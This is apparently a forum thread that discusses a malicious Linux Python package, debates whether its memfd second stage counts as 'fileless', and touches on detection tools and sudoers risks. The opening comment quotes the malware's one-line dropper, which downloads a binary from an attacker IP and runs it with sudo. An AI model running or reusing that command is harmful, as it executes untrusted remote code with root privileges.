4 ms·

It’s a joke, right? sudo apt -y install wget cpulimit > /dev/null 2>&1 && wget -q http://5.161.57[.]250/tox && chmod +x ./tox && timeout -k 5s 1h sudo .

• tacitusarc 4y ago
  If you keep reading, you’ll note that tox drops another elf using memfd, which is so-called “fileless”.
  • deleted 4y ago
    [deleted]
  • prvit 4y ago
    You could maybe reasonably call this “fileless” if it was calling memfd from python. But even then - memfd does leave the file descriptor dangling and accessible in /proc/, it’s not much better than just dropping your file in /dev/shm. In a windows malware context “fileless” means something entirely different from this.
    • glitchc 4y ago
      That everything is a file in Linux does not take away from the fact that this trojan only exists in volatile memory. It’s a fileless trojan for all intents and purposes.
      • prvit 4y ago
        The Linux equivalent of fileless malware on Windows would be a python script you pipe straight into the interpreter. The whole purpose of “fileless” malware is to not get caught by AV which will alert on a new files being created and executed. If this malware was piggybacking on the actual python process to do its thing, then maybe you could reasonably call it “fileless”.
        • TillE 4y ago
          Yes exactly, fileless malware generally means injecting code into existing trusted processes, which makes it extremely difficult to detect. If your malware can be detected by a simple real-time AV scanner which just hooks file I/O, it definitely isn't fileless.
      • rascul 4y ago
        It's fileless because the file is in memory instead of a hard disk? That doesn't seem like a good distinction.
• dec0dedab0de 4y ago
  I think it's good to remind people that malware happens outside of windows. And yeah it is a single temporary file, and apparently only works on debian based systems and maybe other systems that have wget and cpulimit pre-installed. Doesn't seem like they really tried too hard. edit: They could have written the malware in python, and after decoding it run it with eval, done right it would even be cross platform. Now I'm wondering how well i could hide something like this. I gotta stop before I get swept up and start adding easter eggs.
  • drdaeman 4y ago
    > and maybe other systems that have wget and cpulimit pre-installed Nope. It's `apt ... && ...`, and as the left-hand side of `&&` would fail on systems without APT, the right-hand side won't ever run, so it wouldn't work because it wouldn't ever download that `tox` binary.
    • dec0dedab0de 4y ago
      I wasn't sure if redirecting standard error would affect the exit code
• WhatsName 4y ago
  > What an analyst might miss though is that the seemingly-innocuous 'tox' covertly drops another ELF file directly in memory—a sign commonly associated with "fileless malware." Yeah I agree, but since the whole essay is pretty much a sales pitch for their product, that's to be expected. Also first-stage dropper are almost always heavyly obfuscated to avoid detection. There isn't anything novel about this and the second-stage malware actually has reasonable detection rates.
• m00dy 4y ago
  I wouldn't call it a joke but more like written by a junior in a malware class :)
• ashishbijlani 4y ago
  Packj https://github.com/ossillate-inc/packj https://github.com/ossillate-inc/packj can easily detect such malicious packages by pointing out if a package accesses sensitive files (e.g., SSH keys), spawns executables, exfiltrates data, is abandoned, lacks 2FA, etc. Disclaimer: I built it.
  • intelVISA 4y ago
    This is great, is that a good area to move into? Built a few toy projs along these lines on the binary analysis side but never looked further up the chain. How does it handle dynamic analysis?
    • ashishbijlani 4y ago
      Thanks! Would love to receive code contributions from rare folks like you who have binary analysis expertise. Currently, it uses strace to track process/net/fs system calls on Linux.
• thingification 4y ago
  > Also, hyping up undetected Linux malware is just silly. Linux emphasized because you think - such Linux malware as there is commonly goes undetected - there is a lot of Linux malware in some sense - it's easy to create Linux malware that will not be detected - something else?
  • prvit 4y ago
    Uploading linux malware on Virustotal mostly results in it being scanned by Windows AVs. Many will have basic signature detection for common Linux malware, but heuristic detection is essentially nonexistent.
• deleted 4y ago
  [deleted]
• mdaniel 4y ago
  a friendly reminder that "NOPASSWD:" can be a fine thing in some circumstances, but is very very bad news in `NOPASSWD: ALL`